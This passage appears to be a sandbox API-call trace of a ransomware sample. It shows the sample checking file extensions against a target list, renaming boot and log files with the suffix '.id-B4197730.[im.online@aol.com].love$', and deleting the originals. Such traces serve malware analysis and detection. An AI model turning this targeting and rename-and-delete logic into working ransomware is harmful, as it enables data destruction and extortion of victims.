(lpString=".docx") returned 5 [0223.806] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0223.806] lstrlenW (lpString=".pdf") returned 4 [0223.806] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0223.806] lstrlenW (lpString=".xls") returned 4 [0223.806] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0223.806] lstrlenW (lpString=".xlsx") returned 5 [0223.806] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0223.806] lstrlenW (lpString=".ppt") returned 4 [0223.806] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0223.806] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0223.806] lstrlenW (lpString=".zip") returned 4 [0223.806] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0223.806] lstrlenW (lpString=".rar") returned 4 [0223.806] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0223.806] lstrlenW (lpString=".bz2") returned 4 [0223.806] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0223.806] lstrlenW (lpString=".7z") returned 3 [0223.807] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0223.807] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0223.807] lstrlenW (lpString=".dbf") returned 4 [0223.807] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0223.807] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0223.807] lstrlenW (lpString=".1cd") returned 4 [0223.807] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0223.807] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0223.807] lstrlenW (lpString=".jpg") returned 4 [0223.807] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0223.807] lstrcmpiW (lpString1=".mui", lpString2=".love$") returned 1 [0223.807] lstrlenW (lpString="memtest.exe.mui") returned 15 [0223.807] CreateFileW (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0223.808] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=45472) returned 1 [0223.808] CloseHandle (hObject=0x380) returned 1 [0223.808] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui")) returned 0x20 [0223.808] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0223.808] CreateFileW (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0223.808] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0223.808] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0223.808] lstrlenW (lpString=".doc") returned 4 [0223.808] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0223.808] lstrlenW (lpString=".docx") returned 5 [0223.808] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0223.808] lstrlenW (lpString=".pdf") returned 4 [0223.808] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0223.808] lstrlenW (lpString=".xls") returned 4 [0223.808] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0223.808] lstrlenW (lpString=".xlsx") returned 5 [0223.808] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0223.809] lstrlenW (lpString=".ppt") returned 4 [0223.809] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0223.809] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0223.809] lstrlenW (lpString=".zip") returned 4 [0223.809] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0223.809] lstrlenW (lpString=".rar") returned 4 [0223.809] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0223.809] lstrlenW (lpString=".bz2") returned 4 [0223.809] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0223.809] lstrlenW (lpString=".7z") returned 3 [0223.809] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0223.809] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0223.809] lstrlenW (lpString=".dbf") returned 4 [0223.809] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0223.809] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0223.809] lstrlenW (lpString=".1cd") returned 4 [0223.809] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0223.809] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0223.809] lstrlenW (lpString=".jpg") returned 4 [0223.809] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0223.809] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0223.809] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0223.809] lstrlenW (lpString=".doc") returned 4 [0223.809] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0223.809] lstrlenW (lpString=".docx") returned 5 [0223.809] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0223.809] lstrlenW (lpString=".pdf") returned 4 [0223.810] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0223.810] lstrlenW (lpString=".xls") returned 4 [0223.810] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0223.810] lstrlenW (lpString=".xlsx") returned 5 [0223.810] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0223.810] lstrlenW (lpString=".ppt") returned 4 [0223.810] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0223.810] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0223.810] lstrlenW (lpString=".zip") returned 4 [0223.810] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0223.810] lstrlenW (lpString=".rar") returned 4 [0223.810] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0223.810] lstrlenW (lpString=".bz2") returned 4 [0223.810] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0223.810] lstrlenW (lpString=".7z") returned 3 [0223.810] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0223.810] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0223.810] lstrlenW (lpString=".dbf") returned 4 [0223.810] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0223.810] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0223.810] lstrlenW (lpString=".1cd") returned 4 [0223.810] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0223.810] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0223.810] lstrlenW (lpString=".jpg") returned 4 [0223.810] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0223.811] lstrcmpiW (lpString1=".mui", lpString2=".love$") returned 1 [0223.811] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0223.811] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0223.811] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=79200) returned 1 [0223.811] CloseHandle (hObject=0x380) returned 1 [0223.811] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0223.811] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0223.811] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0223.812] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0223.812] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0223.812] lstrlenW (lpString=".doc") returned 4 [0223.812] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0223.812] lstrlenW (lpString=".docx") returned 5 [0223.812] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0223.812] lstrlenW (lpString=".pdf") returned 4 [0223.812] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0223.812] lstrlenW (lpString=".xls") returned 4 [0223.812] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0223.812] lstrlenW (lpString=".xlsx") returned 5 [0223.812] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0223.812] lstrlenW (lpString=".ppt") returned 4 [0223.812] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0223.812] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0223.812] lstrlenW (lpString=".zip") returned 4 [0223.812] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0223.812] lstrlenW (lpString=".rar") returned 4 [0223.812] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0223.812] lstrlenW (lpString=".bz2") returned 4 [0223.812] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0223.812] lstrlenW (lpString=".7z") returned 3 [0223.812] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0223.812] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0223.812] lstrlenW (lpString=".dbf") returned 4 [0223.813] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0223.813] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0223.813] lstrlenW (lpString=".1cd") returned 4 [0223.813] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0223.813] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0223.813] lstrlenW (lpString=".jpg") returned 4 [0223.813] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0223.813] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0223.813] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0223.813] lstrlenW (lpString=".doc") returned 4 [0223.813] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0223.813] lstrlenW (lpString=".docx") returned 5 [0223.813] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0223.813] lstrlenW (lpString=".pdf") returned 4 [0223.813] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0223.813] lstrlenW (lpString=".xls") returned 4 [0223.813] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0223.813] lstrlenW (lpString=".xlsx") returned 5 [0223.813] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0223.813] lstrlenW (lpString=".ppt") returned 4 [0223.813] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0223.813] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0223.813] lstrlenW (lpString=".zip") returned 4 [0223.813] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0223.813] lstrlenW (lpString=".rar") returned 4 [0223.813] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0223.814] lstrlenW (lpString=".bz2") returned 4 [0223.814] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0223.814] lstrlenW (lpString=".7z") returned 3 [0223.814] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0223.815] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0223.815] lstrlenW (lpString=".dbf") returned 4 [0223.815] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0223.815] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0223.815] lstrlenW (lpString=".1cd") returned 4 [0223.815] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0223.816] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0223.816] lstrlenW (lpString=".jpg") returned 4 [0223.816] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0223.816] lstrcmpiW (lpString1=".mui", lpString2=".love$") returned 1 [0223.816] lstrlenW (lpString="memtest.exe.mui") returned 15 [0223.816] CreateFileW (lpFileName="C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0223.816] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=45984) returned 1 [0223.816] CloseHandle (hObject=0x380) returned 1 [0223.816] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui")) returned 0x20 [0223.817] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\memtest.exe.mui.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\de-de\\memtest.exe.mui.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0223.817] CreateFileW (lpFileName="C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0223.817] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0223.817] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0223.817] lstrlenW (lpString=".doc") returned 4 [0223.817] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0223.817] lstrlenW (lpString=".docx") returned 5 [0223.817] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0223.817] lstrlenW (lpString=".pdf") returned 4 [0223.817] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0223.817] lstrlenW (lpString=".xls") returned 4 [0223.817] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0223.817] lstrlenW (lpString=".xlsx") returned 5 [0223.817] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0223.817] lstrlenW (lpString=".ppt") returned 4 [0223.817] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0223.817] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0223.817] lstrlenW (lpString=".zip") returned 4 [0223.817] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0223.817] lstrlenW (lpString=".rar") returned 4 [0223.817] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0223.817] lstrlenW (lpString=".bz2") returned 4 [0223.817] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0223.817] lstrlenW (lpString=".7z") returned 3 [0223.818] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0223.818] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0223.818] lstrlenW (lpString=".dbf") returned 4 [0223.818] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0223.818] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0223.818] lstrlenW (lpString=".1cd") returned 4 [0223.818] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0223.818] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0223.818] lstrlenW (lpString=".jpg") returned 4 [0223.818] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0223.818] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0223.818] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0223.818] lstrlenW (lpString=".doc") returned 4 [0223.818] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0223.818] lstrlenW (lpString=".docx") returned 5 [0223.818] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0223.818] lstrlenW (lpString=".pdf") returned 4 [0223.818] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0223.818] lstrlenW (lpString=".xls") returned 4 [0223.818] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0223.818] lstrlenW (lpString=".xlsx") returned 5 [0223.818] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0223.818] lstrlenW (lpString=".ppt") returned 4 [0223.818] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0223.818] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0223.818] lstrlenW (lpString=".zip") returned 4 [0223.818] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0223.818] lstrlenW (lpString=".rar") returned 4 [0223.819] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0223.819] lstrlenW (lpString=".bz2") returned 4 [0223.819] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0223.819] lstrlenW (lpString=".7z") returned 3 [0223.819] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0223.819] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0223.819] lstrlenW (lpString=".dbf") returned 4 [0223.819] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0223.819] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0223.819] lstrlenW (lpString=".1cd") returned 4 [0223.819] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0223.819] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0223.819] lstrlenW (lpString=".jpg") returned 4 [0223.819] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0223.819] lstrcmpiW (lpString1=".mui", lpString2=".love$") returned 1 [0223.819] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0223.819] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0223.820] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=80224) returned 1 [0223.820] CloseHandle (hObject=0x380) returned 1 [0223.820] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0223.820] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0223.820] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0223.820] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0223.820] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0223.820] lstrlenW (lpString=".doc") returned 4 [0223.820] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0223.820] lstrlenW (lpString=".docx") returned 5 [0223.820] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0223.820] lstrlenW (lpString=".pdf") returned 4 [0223.820] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0223.820] lstrlenW (lpString=".xls") returned 4 [0223.820] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0223.821] lstrlenW (lpString=".xlsx") returned 5 [0223.821] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0223.821] lstrlenW (lpString=".ppt") returned 4 [0223.821] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0223.821] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0223.821] lstrlenW (lpString=".zip") returned 4 [0223.827] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-b4197730.[im.online@aol.com].love$")) returned 0 [0223.827] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0223.827] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0223.827] lstrlenW (lpString=".doc") returned 4 [0223.829] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-b4197730.[im.online@aol.com].love$")) returned 0 [0223.829] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0223.829] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0223.847] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-b4197730.[im.online@aol.com].love$")) returned 0 [0224.324] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0224.324] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0224.325] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0224.325] GetLastError () returned 0x0 [0224.325] ReadFile (in: hFile=0x390, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x11000, lpOverlapped=0x0) returned 1 [0224.338] WriteFile (in: hFile=0x3c0, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x11010, lpOverlapped=0x0) returned 1 [0224.345] ReadFile (in: hFile=0x390, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0224.345] WriteFile (in: hFile=0x3c0, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x136, lpOverlapped=0x0) returned 1 [0224.345] SetEndOfFile (hFile=0x3c0) returned 1 [0224.345] CloseHandle (hObject=0x3c0) returned 1 [0224.349] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0224.349] SetEndOfFile (hFile=0x390) returned 1 [0224.350] CloseHandle (hObject=0x390) returned 1 [0224.350] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0224.351] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx")) returned 1 [0224.351] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0224.351] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0224.351] lstrlenW (lpString=".doc") returned 4 [0224.351] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0224.351] lstrlenW (lpString=".docx") returned 5 [0224.351] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0224.351] lstrlenW (lpString=".pdf") returned 4 [0224.351] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0224.351] lstrlenW (lpString=".xls") returned 4 [0224.351] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0224.351] lstrlenW (lpString=".xlsx") returned 5 [0224.351] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0224.351] lstrlenW (lpString=".ppt") returned 4 [0224.351] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0224.351] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0224.352] lstrlenW (lpString=".zip") returned 4 [0224.352] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0224.352] lstrlenW (lpString=".rar") returned 4 [0224.352] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0224.352] lstrlenW (lpString=".bz2") returned 4 [0224.352] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0224.352] lstrlenW (lpString=".7z") returned 3 [0224.352] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0224.352] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0224.352] lstrlenW (lpString=".dbf") returned 4 [0224.352] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0224.352] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0224.352] lstrlenW (lpString=".1cd") returned 4 [0224.352] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0224.352] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0224.352] lstrlenW (lpString=".jpg") returned 4 [0224.352] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0224.352] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0224.352] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0224.352] lstrlenW (lpString=".doc") returned 4 [0224.352] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0224.352] lstrlenW (lpString=".docx") returned 5 [0224.352] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0224.352] lstrlenW (lpString=".pdf") returned 4 [0224.352] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0224.352] lstrlenW (lpString=".xls") returned 4 [0224.352] 